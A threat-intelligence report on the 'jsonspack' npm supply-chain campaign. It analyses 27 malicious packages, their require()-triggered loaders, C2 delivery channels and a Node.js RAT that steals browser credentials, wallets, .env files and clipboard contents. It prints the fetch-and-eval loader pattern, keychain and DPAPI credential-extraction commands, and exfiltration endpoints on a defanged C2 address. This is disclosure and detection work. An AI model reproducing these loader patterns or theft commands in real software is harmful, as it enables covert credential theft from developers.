Note —
jsonspackvs legitimatejsonpack:jsonpackis a legitimate npm JSON compression library published bysapienlabin 2013, maintained through 2022, with 1.1.5 as the final version.P2 (Footnote prefixes: E = evidence, P = prior art, R = references, A = appendix.) It is unrelated to this campaign. The operator chosejsonspack[.]comas a plausible-sounding developer tooling brand — not a deliberate typosquat (npm package names must be unique), but capitalising on the superficial similarity to a real package name for credibility.
Campaign Overview
The jsonspack campaign is a supply chain attack comprising 27 confirmed malicious npm (Node Package Manager) packages published by eight distinct email accounts between 2026-03-18 and 2026-03-31. All 27 share hello@jsonspack[.]com as the author contact email in their package.json metadata — the basis on which they are grouped as a single campaign, though this alone does not confirm a single operator (see Attribution section).
The Panther NPM.Malicious.Verdict.LLM detection pipeline flagged 2 packages (chai-as-hooked, chai-as-redeployed). Both used hello@jsonspack[.]com as their author email. Pivoting on that email via the Panther npm-index returned 25 additional packages — combined with the 2 already known, this brought the total to 27 packages: 12 were still live on the npm registry and 15 that had been unpublished and were no longer publicly accessible, but were recovered from an npm package mirror.E5 3,739 total downloads were recorded across all 27 packages as of 2026-04-01; the full publish/unpublish chronology is in the Campaign Timeline.E6
The package names are designed to blend into a developer’s dependency tree. Most follow the chai-as-* naming convention like real chai.js assertion library pluginsE30 — for example chai-as-adapter, chai-beta, chai-str. Others pose as developer metrics and tracking utilities (trackora-node, metrify-chain, chain-metrica) or synchronisation tools (chain-syncora). The express-flowlimit family presents itself as rate limiting middleware, with a README describing “Lightweight and flexible rate limiting middleware for Express.js applications”.E31 Regardless of their names, all packages except the express-flowlimit family embed pino logger branding in their package contents as an additional layer of legitimacy (see Loader Analysis section). All share a common loader that fires silently on any require() of the package, not at install time, by exporting a function that immediately spawns a detached, stdio-suppressed child process.E1 This makes the packages invisible to postinstall hook scanners.
On execution, the loader retrieves an obfuscated payload from one of six C2 delivery channels and evaluates it via new Function.constructor('require', payload)(require).E2 Payloads were retrieved from four of the six channels on 2026-04-01; the payloads differ across channels and are not a single shared stage-3 binary.
One channel’s payload was fully decoded at the time of publishing — a 2.8 MB cross-platform Node.js RAT and infostealer (SHA256: fdb582f16475cb79bebd0dffc48d610430cae2e39e9a3e2abd373b3413691838)E3 that spawns three concurrent background scripts: a browser credential stealer targeting 13 Chromium-based browsersA1 and 40 crypto wallet extensions,A2 a full-filesystem file exfiltrator targeting .env secrets, and a socket.io reverse shell with real-time clipboard monitoring. All exfiltration targets a single Vultr VPS at 144.172.110[.]132 across ports 8085, 8086, and 8087.E15
The remaining channels serve distinct payloads — from a 4 KB secondary loader that fetches a further unknown stage, to ~90 KB partially-decoded payloads that lack the decoded channel’s operator fingerprints — consistent with a multi-tenant architecture where different operators deploy their own malware via shared infrastructure (see Attribution). Two channels were offline at retrieval time.
Four techniques not previously documented in public threat intelligence were identified during this analysis, including HTTP 404-triggered payload delivery that defeats all 94 VirusTotal engines, and a WSL-to-Windows credential bridge that steals Windows host browser credentials from inside a Linux process (see Interesting Findings).
Architecture

Package Inventory
Status | Count | Downloads | Naming strategy |
|---|---|---|---|
Live (installable as of 2026-04-01) | 12 | 1,917 |
|
Deleted (unpublished, recovered from mirror) | 15 | 1,822 |
|
Total | 27 | 3,739 | 8 throwaway publisher accounts, all using |
Most packages masquerade as pino logger internally (README badges, docs/ directory, keyword metadata).E23E32 The express-flowlimit family is the exception — it masquerades as Express rate-limiting middleware.
Of the 15 deleted packages, 14 were removed within npm’s 72-hour self-unpublish window (most likely threat actor self-removals). gemini-ai-checker lived 301.6 hours before removal — outside the self-unpublish window, requiring npm support or security action.E25
Full package listings: Appendix C — Live Packages | Appendix D — Deleted Packages
Loader Analysis
Trigger Mechanism
All 27 packages — without exception — use the same trigger: index.js exports a middleware function that, on any require() of the package, immediately calls runJobA(). This spawns lib/caller.js as a detached, silent background process — no postinstall hook, no user interaction required.E1
The last module.exports alias reveals the impersonation target — pino for most packages, flowlimit for the express-flowlimit family. No postinstall script is present in package.json for any of the 27 packages.E8
chai-as-encrypted is the sole exception: it uses an IIFE (Immediately Invoked Function Expression) in lib/initializeCaller.js that fires inline on require() rather than spawning a child process.E9
Loader Code
The loader is always unobfuscated and readable in every package. There are five distinct loader variants across the campaign — each hardcodes its C2 URL differently. The obfuscation begins at the stage-2 payload level, not the loader itself. Variant 5 (npoint — chai-as-encrypted) uses an IIFE that fires inline on require() rather than spawning a child process; it is covered in the Trigger Mechanism section above.E9 Variants 1–4 below are the spawn-based loaders. Full loader source for each variant is archived in artifacts/jsonspack/loaders/.
Variant 1 — BADC6 cluster (metrify-chain@2.4.5, loader SHA256: 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23)E37
lib/const.js exports the C2 URL as a base64 string. lib/caller.js redeclares a local const process object that shadows Node.js’s global process, so process.env.DEV_API_KEY resolves to the hardcoded value rather than any real environment variable — a deliberate evasion of scanners that look for env var lookups.
Variant 2 — FAWPU cluster (lockedin-chai-chain@1.2.6, loader SHA256: 70f8deb4d35ab7db47845f6b6666ae6c0a22814eca580a10e7a0ba09f9ece5f8)E38
caller.js is entirely self-contained — the C2 URL is inline as a direct atob() call with no const process shadow and no lib/const.js dependency. A lib/const.js file exists in the package but contains a different URL (4NAKK) and is never read by this variant’s caller.js.
Variant 3 — XRGF3 cluster (chai-str@1.1.9, loader SHA256: d81e48769a830cd3384a4b8977ade12e5ab7583eb7cca84e7ab966d15871bd71)E39
caller.js hardcodes the C2 URL as a plaintext string literal — the most directly readable form. A const process shadow block is also present (with the same URL in base64) but the executing code uses the plaintext src variable, not atob(process.env.DEV_API_KEY).
Variant 4 — Vercel / 4NAKK clusters (express-flowlimit@2.2.8, loader SHA256: 0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef)E40
caller.js reads from require('./config') — a split-config design that fragments the C2 URL across two files to defeat single-file IOC matching. The Vercel and 4NAKK clusters share this identical caller.js; only their lib/config.js files differ. HTTP 200 returns a benign decoy log message; the payload is delivered on HTTP 404 via error.response.data.token.
Channel allocation is static, not dynamic. Each package is bound to exactly one C2 channel at publish time. The specific embedding technique differs by variant: BADC6 uses an inline const process shadow in caller.js (the C2 URL is hardcoded in the shadow declaration itself, not imported from const.js); FAWPU uses a direct atob() call with no const process shadow and no const.js dependency; XRGF3 uses a plaintext string literal; Vercel uses a split config.js.E34 Three of the four techniques (BADC6, FAWPU, Vercel) obscure the C2 URL from static string-literal scanners. The XRGF3 variant is the exception — its C2 URL is a plaintext string literal and would be detected by any URL regex scanner.
Different packages were published pointing to different channels. Whether this reflects separate platform tenants deploying their own payloads, load balancing, or infrastructure resilience is unknown.
The stage-2 payload — the content of response.data.cookie served by the C2 — is where the obfuscation begins.
Stage-2 Payload Obfuscation
The payload served by each C2 cluster is a heavily obfuscated JavaScript file delivered as the cookie field of a JSON HTTP response. The following is the opening of the npoint[.]io payload as received — the raw obfuscated content before any analysis:E3
All meaningful strings — module names, URLs, credentials, C2 addresses — are encrypted using RC4+base64 and stored in a 17,131-entry array. Every string access goes through a chain of wrapper functions (e.g. dS(), dr(), dK()) that decode on demand. The obfuscation uses obfuscator.io’s short-name variant: single-character variable names (D, y, Q, W, B) rather than the default _0x-prefixed hex identifiers, producing a smaller file and defeating _0x-pattern detection rules.
The FAWPU, XRGF3, and BADC6 cluster payloads use the same cipher and variant but at much smaller scale (32, 1,292, and 1,295 array entries respectively).E29 Their deobfuscation was only partially successful — see the Payload Status table below.
C2 Delivery Clusters
Six C2 delivery channels were identified across the 27 packages. Five are documented in the table below (confirmed by shasum -a 256 on lib/caller.js across all downloaded tarballs — five distinct loader hashes). The sixth, isillegion[.]com, was used by chai-as-hooked and chai-as-redeployed and is documented in the Network IOCs section.E10
Cluster | C2 URL | Loader SHA256 | Packages | |
|---|---|---|---|---|
FAWPU |
|
|
| 0/94E38 |
XRGF3 |
|
|
| 9/94E39 |
BADC6 |
|
|
| 0/94E37 |
npoint |
|
|
| 5/95 E9 |
Vercel |
|
|
| 0/94–4/94E40 |
All four Vercel-family packages share the same caller.js hash (0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef) — the C2 endpoint is differentiated via lib/config.js. The 4NAKK URL appears only as dead code in lib/const.js of two packages and is never executed.E40 The BADC6 cluster is the largest by package count (13 packages), 11 of which were self-unpublished before detection (2 remain live: trackora-node, trackora-chain).
Payload status per cluster (retrieved and deobfuscation attempted 2026-04-01):E29
Cluster | Payload size | Obfuscation | Deobfuscation result | Operator fingerprints |
|---|---|---|---|---|
npoint | 2,809,744 chars | obfuscator.io short-name, RC4+base64, 17,131 entries | Full decode — 117 KB readable output |
|
FAWPU | 4,228 chars | obfuscator.io short-name, RC4+base64, 32 entries | Partial — 3.2 KB structural output; RC4 strings not decoded | None |
XRGF3 | 92,242 chars | obfuscator.io short-name, RC4+base64, 1,292 entries | Partial — 45 KB structural output; RC4 strings not decoded | None |
BADC6 | 91,762 chars | obfuscator.io short-name, RC4+base64, 1,295 entries | Partial — 43 KB structural output; RC4 strings not decoded | None |
Vercel | — | Unknown | Not attempted — offline | Unknown |
The Vercel/4NAKK variant uses a split config and 404-triggered delivery rather than a const.js config file.
Kill Chain
Stage 1: Payload Retrieval — Six Delivery Channels
Channels 1–4 (jsonkeeper FAWPU/XRGF3/BADC6, npoint): GET with x-secret-key: _ header. Response JSON field response.data.cookie contains the obfuscated payload. Evaluated via new Function.constructor('require', payload)(require).
The payloads served by each channel are not identical. The npoint[.]io channel was the only one analysed in full. On 2026-04-01 the researcher fetched the FAWPU, XRGF3, and BADC6 bucket responses from a secure machine; the 4NAKK bucket returned HTTP 404 (offline); and both Vercel probe requests returned HTTP 404 (C2 offline or taken down). The three fetched payloads are distinct from the npoint[.]io payload and from each other.E26
Channel | Raw JSON SHA256 | Extracted JS size | Extracted JS SHA256 | Status |
|---|---|---|---|---|
npoint |
| 2,809,744 chars |
| Fully analysed |
FAWPU |
| 4,228 chars |
| See below |
XRGF3 |
| 92,242 chars |
| Partially analysed |
BADC6 |
| 91,762 chars |
| Partially analysed |
4NAKK | n/a | n/a | n/a | HTTP 404 - offline |
Vercel | n/a | n/a | n/a | HTTP 404 - offline |
FAWPU (4,228 chars) — secondary loader, not the final RAT. The FAWPU bucket serves a compact obfuscated script (10 functions, 32 string array entries, RC4+base64 cipher) whose sole purpose is to spawn a detached node -e child process. The spawned command dynamically constructs an axios.get(<URL>).then(res => eval(res.data.<field>)) call — making FAWPU a third stage that fetches yet another payload from a URL encoded in its string array. That URL cannot be recovered through static analysis alone without executing the script. Operator constants (SuperStr0ngSecret@)@^, u_k=301, 144.172.110[.]132) are absent from its static strings.E27
XRGF3 and BADC6 (~90KB each) — same underlying payload, different obfuscation runs. Both share near-identical structure: ~1,292–1,295 string array entries, ~122–124 function definitions, RC4+base64 cipher with the standard base64 alphabet, and an array-rotation IIFE using the same while(true) pattern. The lazy-init sentinel property names differ (glDhtH for XRGF3, kabmBn for BADC6) — consistent with two separate runs of the same obfuscator configuration producing different random identifiers. Neither contains SuperStr0ngSecret@)@^, 144.172.110[.]132, socket.io, searchAndUpload, or ldbScript in its static strings. The 0x301 value that appears in both is a hex lookup index in the string decoder, not the u_k=301 operator constant.E28 These are a different payload family from the npoint[.]io RAT — possibly an earlier version, a lighter-weight variant, or a different operator’s deployment on the same infrastructure.
Stage 2: Payload Execution — Three-Script Concurrent RAT
The C2 serves the payload as {"cookie":"<2.8MB obfuscated JS>"} — a JSON object whose cookie field contains executable JavaScript, delivered as application/json.R2 After evaluation, the payload spawns three concurrent background scripts, each tracked by a PID lock file:
Script 1 — ldbScript (Browser Credential Stealer)
Targets 13 Chromium-based browsers.A1 Platform-specific AES-256-GCM (Advanced Encryption Standard — Galois/Counter Mode) master key decryption:
macOS: Keychain via
security find-generic-password -w -s "<Browser> Safe Storage", PBKDF2 (Password-Based Key Derivation Function 2) with parameters: saltsaltysalt, 1003 iterations, SHA1, 16-byte keyWindows: DPAPI (Data Protection API) via ephemeral PowerShell
.ps1temp scripts,ProtectedData.Unprotect(), CurrentUser and LocalMachine scopesLinux:
secret-toolor Pythonsecretstorage
Browser Login Data SQL (Structured Query Language) database copied to temp path to bypass file locks, queried via sql.js (auto-installed if absent). Also targets:
40 crypto wallet browser extensions via
Local Extension Settingsdirectory enumerationmacOS
~/Library/Keychains/login.keychain-db
All output uploaded to http://144.172.110[.]132:8085/upload. E3
Script 2 — autoUploadScript (File Exfiltrator)
Priority scan of Documents, Desktop, Downloads, then full home directory (macOS/Linux) or all drives (Windows via wmic logicaldisk get name). Separate recursive filesystem-wide search for .env* files (.env, .env.local, .env.production, etc.). Uploads all files ≤10 MB to http://144.172.110[.]132:8086/upload. Exclusions: node_modules, .git, vendor, venv, dist, build, Library, System. E3
Script 3 — socketScript (Reverse Shell + Clipboard Monitor)
socket.io client → ws://144.172.110[.]132:8087. Auto-installs socket.io-client via npm install --no-save --loglevel silent if absent. On connect: POSTs host info (hostname, OS, username) to http://144.172.110[.]132:8087/api/notify. HMAC-SHA256 authenticates all requests using SuperStr0ngSecret@)@^.E13
Remote command dispatch:
Socket event / code | Function |
|---|---|
| Directory listing via |
| File download: read → upload → return URL |
|
|
| PID lookup from lock file → |
| Log receipt (manual start required) |
Clipboard polling every 1 second — POSTs every change to /api/log:
macOS:
execSync('pbpaste')Windows: PowerShell
[System.Windows.Forms.Clipboard]::GetText()Linux/WSL (Windows Subsystem for Linux):
xclip/xsel; WSL falls back toPowerShell.exe
WSL-to-Windows Credential Bridge
The payload detects WSL via /proc/version string match and WSL_DISTRO_NAME env var.E14 When in WSL, browser credential paths redirect from Linux paths to Windows filesystem bridge paths:
A developer running Node.js inside WSL has their Windows host browser credentials exfiltrated by the npm package.
Attribution
Verdict: Unknown — probable financially-motivated MaaS (Malware-as-a-Service) criminal operator Confidence: Unknown for named actor | High for motivation and business model
Key reasoning:
Why this is unlikely to be DPRK: The infrastructure overlap — shared abuse of api.npoint[.]io and Vercel CDN — is superficial. api.npoint[.]io appears in the UNC5342 (Contagious Interview) domain IOC list on VirusTotal, with multiple api.npoint[.]io/* endpoints attributed to that actor.E16 A Contagious Interview-attributed Vercel subdomain (tetrismic.vercel[.]app) returned 14/94 VT detections when checked during this analysis.E35 jsonspack independently uses both platforms — api.npoint[.]io for the npoint[.]io cluster and server-check-genimi.vercel[.]app for the Vercel cluster. The overlap reflects both actors abusing the same free public hosting services, not shared attribution. Every high-specificity technical fingerprint diverges:
Discriminator | Contagious Interview / BeaverTailE17 | jsonspack |
|---|---|---|
C2 port | 1244 (consistent) | 8085/8086/8087 |
C2 paths |
|
|
RAT language | Go (FFerret), Python (InvisibleFerret) | Node.js |
Obfuscation | Hand-rolled XOR cipher | Commercial obfuscator.io |
Social engineering | Job interview / coding test lure | None — supply chain only |
Multi-tenancy | No — per-campaign infrastructure | Yes — |
Why this is more consistent with a commercial MaaS platform (qualified): The u_k and t constants — labelled “operator key” and “tenant ID” in the npoint[.]io payload source — are more consistent with a multi-tenant platform than a bespoke nation-state toolchain, though the allocation scheme for these values is unknown and no conclusions about the number of operators can be drawn from them alone.E4 The distinct payloads across channels (FAWPU 4 KB, XRGF3/BADC6 ~90 KB, npoint[.]io 2.8 MB) suggest each channel may represent a separate customer deploying their own payload rather than one operator running all channels. The Vultr VPS with an unmodified Plesk auto-generated hostname (gifted-rhodes.144-172-110-132.plesk[.]page) is consistent with a criminal group rather than nation-state operational discipline.
Open question: The XRGF3 and BADC6 payloads (~90KB each) do not contain the known operator fingerprints (SuperStr0ngSecret@)@^, u_k=301, 144.172.110[.]132) in their static strings, and the FAWPU payload is a secondary loader pointing to a further unknown stage. This leaves open whether all six channels are operated by the same entity or whether the shared hello@jsonspack[.]com email coordinated multiple operators deploying different payloads. Full analysis of the XRGF3/BADC6 payloads and recovery of the URL encoded in the FAWPU loader are required to resolve this.
Motivation: Financial crime — optimised for immediate monetisation. Crypto address clipboard interception (1-second poll), 40 wallet extensions, Brave browser emphasis, recursive .env search for API keys, full filesystem exfil for ransomware staging.
Sophistication tier: Medium-high criminal operator. Above average: 404-triggered evasion, config fragmentation, runtime-not-install trigger, WSL-aware credential bridging, HMAC request signing. Below nation-state: hardcoded year-encoded HMAC secret, public JSON hosting, unmodified Plesk panel, no persistence mechanism in current payload.
Concurrent campaigns: The Axios npm supply chain compromise (2026-03-31, Elastic/Trend Micro/Mandiant GTIG) is contemporaneous but distinct on every material dimension — dropper, loader, C2, delivery mechanism, obfuscation, and payload architecture — and is attributed to a North Korea-nexus actor; none of the four jsonspack novel findings appear in Axios campaign coverage.
Interesting Findings
The following techniques were not found in public threat intelligence sources reviewed by the Panther Threat Research team as of 2026-04-01.E18 Where other researchers have documented related techniques, those are noted under each finding.
Finding 1: HTTP 404 Error Response as Payload Delivery Signal
What: Loader fires a C2 beacon on require(). HTTP 200 returns a benign decoy log message. HTTP 404 delivers the malicious payload in error.response.data.token. Sandboxes probing the live C2 see no malicious behaviour.
Where: express-flowlimit / chai-extensions-extras — lib/caller.js .catch() handler.
Evidence:
Determined from: Static analysis of lib/caller.js (SHA256: 0939feeda737b0951f6e37d690d65ecfdc5482ae1e1486734aaf59fb2497fcef) read directly from the downloaded npm tarball — plain, unobfuscated JavaScript, no deobfuscation required.E22 The 404-vs-200 behaviour is explicit in the source: the try block handles HTTP 200 with a benign log message (console.log("Token fetched:", response.data.token)); the catch(error) block checks for HTTP 404 and executes error.response.data.token via Function.constructor. The inference that scanners receive a clean 200 is from the code logic, corroborated by the 0/94 VT detection rate on the URL, not from live testing of the C2.E11
Why this is notable: No published report documents using an HTTP error response code as the payload delivery gate. All prior npm sandbox-evasion uses OS fingerprinting, env var checks, or timing delays. The nearest MITRE technique is T1480 (Execution Guardrails)R1 — no sub-technique covers HTTP error code as delivery signal.
Detection opportunity: Network: outbound GET immediately followed by Function.constructor eval in a .catch() handler. YARA on string bearrtoken. Host: new (Function.constructor) call with require argument.
MITRE ATT&CK: T1480 — Execution Guardrails (no exact sub-technique); T1205 — Traffic Signaling (closest structural match — using network response properties to gate execution).
Finding 2: JSON {"cookie":"<JS>"} Payload Masquerade
What: C2 serves 2.8 MB obfuscated JavaScript as the value of a cookie key in a JSON response body, delivered as application/json. The semantic mismatch — JavaScript in a cookie field in JSON — may evade content-type scanners expecting application/javascript for eval’d content.
Where: All six C2 clusters. Loader: (await axios.get(endpoint)).data.cookie.
Evidence:
Why this is notable: Searched all 13 sources. No documentation found for response.data.cookie as a JavaScript payload access pattern, or for application/json masquerading a JavaScript payload.
Detection opportunity: HTTP responses with Content-Type: application/json whose body is a single-key JSON object with a value >100 KB beginning with JavaScript function signatures.
MITRE ATT&CK: T1001 — Data Obfuscation; T1132.001 — Standard Encoding.
Finding 3: WSL-to-Windows Credential Bridge via /mnt/c/Users/
What: Detects WSL via /proc/version and WSL_DISTRO_NAME. In WSL context, redirects browser credential paths to /mnt/c/Users/<user>/AppData/Local/*/ and uses PowerShell.exe for clipboard — stealing Windows host credentials from a Linux process.
Where: is_wsl() function and getChromiumBasePaths() WSL branch in the deobfuscated npoint[.]io payload (artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt). E14
Evidence:
Why this is notable: WSL detection in malware is documented exclusively for sandbox evasion (stop executing). Cross-boundary credential theft by redirecting to /mnt/c/Users/ is undocumented. MITRE T1497.001 covers WSL detection for evasion only — no sub-technique for WSL-to-Windows credential bridging.
Detection opportunity: Node.js process reading /proc/version; file access to /mnt/c/Users/*/AppData/Local/*/Default/Login Data; cmd.exe or PowerShell.exe spawned from a Linux/Node process.
MITRE ATT&CK: T1555.003 — Credentials from Web Browsers (WSL bridge variant, undocumented).
Finding 4: Three-Script Concurrent RAT with PID Lock File Orchestration
What: Stage-3 spawns three independently managed background Node.js scripts, each tracked by /tmp/pid.<t>.<n>.lock. Operator selectively starts/stops scripts via processControl socket.io events. The tenant ID (t=3) is embedded in the lock filenames, enabling per-tenant process management on a shared panel.
Where: Utils.sp_s() calls at lines 845, 851, and 862 of the deobfuscated npoint[.]io payload (artifacts/jsonspack/decompiled/payload-synchrony-decoded.txt). E3
Evidence:
Why this is notable: No documented npm RAT deploys three concurrent specialised scripts with operator-controlled start/stop via PID lock files. The Elastic/Trend Micro Axios campaign (Apr 2026) documents three platform variants of one RAT — fundamentally different from three concurrent specialised modules.
Detection opportunity: /tmp/pid.*.*.lock created during Node.js execution; multiple Node.js processes spawned from a single require event; processControl events on external WebSocket connection.
MITRE ATT&CK: T1059.007 — JavaScript; T1041 — Exfiltration Over C2 Channel.
Detecting the Campaign
Discovery Chain
This campaign was discovered entirely through internal Panther detection rules and infrastructure. There were no prior OSM reports, vendor advisories, or external threat intelligence identified these packages before this analysis. The Panther NPM.Malicious.Verdict.LLM alert fired on 2026-03-30 on two packages (chai-as-hooked, chai-as-redeployed) — confidence 0.99 and 0.92 — both tied to the hello@jsonspack[.]com author email.E19 Post-triage email pivot via the Panther npm-index surfaced all 27 packages; the npoint[.]io stage-3 payload was fully decoded the following day — the first analysis of this RAT by any tool, with all IOCs absent from VT at discovery.E21
Detection Coverage
Detection point | Source | Packages caught | Missed |
|---|---|---|---|
Panther NPM.Malicious.Verdict.LLM | Internal | 2 of 27 | 25 |
VT (XRGF3 9/94, 4NAKK 4/94, npoint 5/95) | External | Partial — buckets flagged, loaders/payload not | — |
OSM (pre-this-analysis) | External | 0 of 27 | 27 |
npm-index email pivot | Internal | All 27 + stage-3 payload | — |
The Panther alert on chai-as-hooked was the single thread that exposed the entire campaign. The hello@jsonspack[.]com publisher email — present in the first alert — was the pivot that surfaced all 27 packages and 3,739 total downloads of an active cross-platform RAT.
Detection Rules
Panther detection rule logic for the jsonspack campaign TTPs. Each rule targets a specific stage of the kill chain using CrowdStrike Falcon Data Replicator (FDR) telemetry. Rules are ordered from highest-confidence IOC matches to broader behavioural patterns.
Each block is the Python detection logic only. Full rule files additionally require a YAML sidecar (Status: Experimental, LogTypes: [Crowdstrike.FDREvent], RuleID, Tests).
Rule 1 — jsonspack C2 Network Connection (IOC Match)
Detects outbound connections to the jsonspack C2 IP (144.172.110[.]132) on the three known operator ports. Highest-confidence rule — any match is a confirmed compromise.
Rule 2 — jsonspack C2 DNS Lookup
Detects DNS resolution of known jsonspack infrastructure domains — stage-2 payload hosts and the isillegion C2.
Rule 3 — Node.js Spawning Detached Child Process
Detects the jsonspack trigger mechanism: node spawning node with a known loader script argument — the runJobA() pattern that fires lib/caller.js as a detached background process on any require() of the malicious package.
Rule 4 — PID Lock File Creation (RAT Orchestration)
Detects creation of /tmp/pid.*.*.lock files — the three-script RAT orchestration pattern. The tenant ID (t) and script index are embedded in the filename.
Rule 5 — macOS Keychain Access by Node.js
Detects the ldbScript browser credential stealer calling security find-generic-password to extract browser AES-256-GCM master keys from the macOS Keychain.
Rule 6 — Node.js Spawning PowerShell for DPAPI Decryption (Windows)
Detects the ldbScript Windows credential theft path: Node.js spawning ephemeral PowerShell scripts that call ProtectedData.Unprotect() to decrypt browser master keys via DPAPI.
Rule 7 — WSL-to-Windows Credential Bridge Access
Detects the novel WSL-to-Windows credential bridge: a Linux Node.js process accessing Windows browser credential stores via the /mnt/c/Users/ filesystem mount.
Indicators of Compromise
Hashes
14 file hashes (loaders and payloads) — see Appendix B.
Network
IOC | Type | VT E15 | Notes |
|---|---|---|---|
| C2 IP | 0/94 | Vultr VPS, Plesk panel, hostname: |
| C2 URL | 0/94 | ldbScript browser credential upload |
| C2 URL | 0/94 | autoUploadScript file exfil |
| C2 WS | 0/94 | socket.io reverse shell |
| C2 URL | 0/94 | Host registration |
| C2 URL | 0/94 | Clipboard + log exfil |
| Stage-2 URL | 5/95 | npoint cluster |
| Stage-2 URL | 0/94 | FAWPU cluster — first discovery |
| Stage-2 URL | 9/94 | XRGF3 cluster |
| Stage-2 URL | 0/94 | BADC6 cluster — first discovery |
| Stage-2 URL | 4/94 | 4NAKK cluster — HTTP 404 as of 2026-04-01, offline |
| Stage-2 URL | 0/94 | Vercel cluster — HTTP 404 as of 2026-04-01, offline |
| Earlier C2 | — | Distinct C2 endpoint used by |
Operator Fingerprints
Constant | Value | Significance |
|---|---|---|
|
| Numeric identifier hardcoded in |
|
| Tenant/campaign ID, embedded in PID lock filenames E4 |
HMAC secret |
| Shared secret used to authenticate all C2 requests; |
Lock files |
| Process management for three concurrent scripts E4 |
Files Created on Victim System
Path | Created by | Purpose |
|---|---|---|
| ldbScript | Browser stealer PID tracking |
| autoUploadScript | File exfil PID tracking |
| socketScript | Reverse shell PID tracking |
| autoUploadScript | Temp staging dir for file uploads |
| ldbScript (Windows) | Ephemeral DPAPI decryption script |
Campaign Timeline
All publish and unpublish timestamps from npm registry API. † For deleted packages, the npm publisher account is unrecoverable post-deletion; value shown is the author email from package.json metadata.E6 All times UTC.
Timestamp (UTC) | Event | Package | Publisher / Author † | C2 Cluster | Hours Live |
|---|---|---|---|---|---|
2026-03-18T19:37:14Z | Published |
|
| Vercel | — |
2026-03-18T19:44:03Z | Published |
|
| Vercel | — |
2026-03-19T21:09:58Z | Published |
|
| Vercel | — |
2026-03-19T21:43:40Z | Published |
|
| Vercel | 301.6h |
2026-03-19T23:49:33Z | Published |
|
| FAWPU | still live |
2026-03-21T17:54:36Z | Published |
|
| Vercel | still live |
2026-03-21T17:59:56Z | Published |
|
| Vercel | — |
2026-03-21T18:08:03Z | Published |
|
| Vercel | — |
2026-03-25T06:44:16Z | Published |
|
| XRGF3 | still live |
2026-03-25T07:38:49Z | Published |
|
| XRGF3 | still live |
2026-03-25T08:42:14Z | Published |
|
| npoint | still live |
2026-03-25T10:22:48Z | Published |
|
| FAWPU | still live |
2026-03-25T18:23:29Z | Published |
|
| isillegionE36 | — |
2026-03-26T~18:00Z | Deleted |
| — | isillegion | <1 dayE20 |
2026-03-26T07:50:47Z | Published |
|
| FAWPU | still live |
2026-03-26T07:58:43Z | Published |
|
| FAWPU | still live |
2026-03-26T08:09:11Z | Published |
|
| FAWPU | still live |
2026-03-26T09:15:33Z | Published |
|
| BADC6 | 2h |
2026-03-26T09:15:51Z | Published |
|
| BADC6 | 2h |
2026-03-26T09:16:16Z | Published |
|
| BADC6 | 2h |
2026-03-26T11:30:35Z | Deleted |
| — | — | — |
2026-03-26T12:29:18Z | Published |
|
| BADC6 | 3h |
2026-03-26T12:30:05Z | Published |
|
| BADC6 | 3h |
2026-03-26T15:35:53Z | Deleted |
| — | — | — |
2026-03-26T19:03:41Z | Published |
|
| BADC6 | 18h |
2026-03-26T19:04:02Z | Published |
|
| BADC6 | 18h |
2026-03-26T23:20:29Z | Published |
|
| isillegion | — |
2026-03-27T~18:00Z | Deleted |
| — | isillegion | <1 dayE20 |
2026-03-27T13:16:23Z | Deleted |
| — | — | — |
2026-03-27T14:31:12Z | Published |
|
| BADC6 | 71h |
2026-03-27T14:31:51Z | Published |
|
| BADC6 | 71h |
2026-03-30T13:28:17Z | Deleted |
| — | — | — |
2026-03-30T15:22:23Z | Published |
|
| BADC6 | <1h |
2026-03-30T15:22:42Z | Published |
|
| BADC6 | <1h |
2026-03-30T15:34:06Z | Deleted |
| — | — | — |
2026-03-30T18:15:35Z | Published |
|
| BADC6 | still live |
2026-03-30T18:15:59Z | Published |
|
| BADC6 | still live |
2026-03-31T09:14:43Z | Deleted |
| — | — | — |
2026-03-31T09:27:20Z | Published |
|
| Vercel | <1h |
2026-03-31T09:33:44Z | Deleted |
| — | — | — |
2026-03-31T10:30:38Z | Published |
|
| Vercel | still live |
2026-03-31T10:38:12Z | Published |
|
| Vercel | still live |
2026-03-30T23:12Z | Panther alert fired |
| — | isillegionE36 | — |
2026-04-01 | Email pivot → 27 packages identified | npm-index | — | — | — |
2026-04-01 | Stage-3 payload decoded |
| — | — | — |
Deletion pattern: Fifteen packages show an unpublished tombstone in the npm registry. No npm security advisories exist for any of them.E24 Fourteen were removed within npm’s 72-hour self-unpublish window, meaning the package publisher could have removed them unilaterally without contacting npm — these are most likely threat actor self-removals.E25 The fifteenth, gemini-ai-checker, lived for 301.6 hours before removal, well outside the self-unpublish window; its removal required either npm support intervention or a npm security action, though the tombstone format (time.unpublished with no reason field) is consistent with a support-processed unpublish request rather than an automated security takedown.
Of the fourteen likely self-removed packages, eleven share loader hash 5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23 — confirmed by running shasum -a 256 against all downloaded tarballs — placing them in the BADC6 cluster.E33 They were removed in five batches, with publish and unpublish times taken directly from the npm registry time object:E6
Family | Packages | Published | Unpublished | Dwell |
|---|---|---|---|---|
coremesh |
| 2026-03-26T09:14–09:16Z | 2026-03-26T11:30Z | ~2h |
relion |
| 2026-03-26T12:29–12:30Z | 2026-03-26T15:35Z | ~3h |
syncora |
| 2026-03-26T19:03–19:04Z | 2026-03-27T13:16Z | ~18h |
metrify |
| 2026-03-27T14:31Z | 2026-03-30T13:28Z | ~71h |
metrica |
| 2026-03-30T15:22Z | 2026-03-30T15:34Z | <1h |
The reason for these removals is unknown — plausible explanations include detection avoidance, infrastructure testing, or operational cleanup. The two surviving BADC6 packages, trackora-node and trackora-chain, share the same loader hash (5f2d8aec684e79cb983af79d29fddf7e7ecf1e36474baf1422e77c9b79caee23), the same dependencies (axios, parse-json, request, sqlite3), and an identical docs/api.md (SHA256: 1c777a65a337b48318f3cfff9cee9ffdecc2f7867f7365f53c7e0af492add2a4) as the deleted packages.E33 Both tarballs return HTTP 200 from the npm registry as of 2026-04-01.E5
See it in action
Most AI closes the alert. Panther closes the loop.

References
[E1] Read("artifacts/jsonspack/loaders/badc6-variant/index.txt") and equivalent for all 27 packages. No postinstall in any package.json. spawn({ detached: true, stdio: 'ignore' }) + child.unref() confirmed in all spawn-based loaders. chai-as-encrypted uses an inline self-executing function in lib/initializeCaller.js instead.
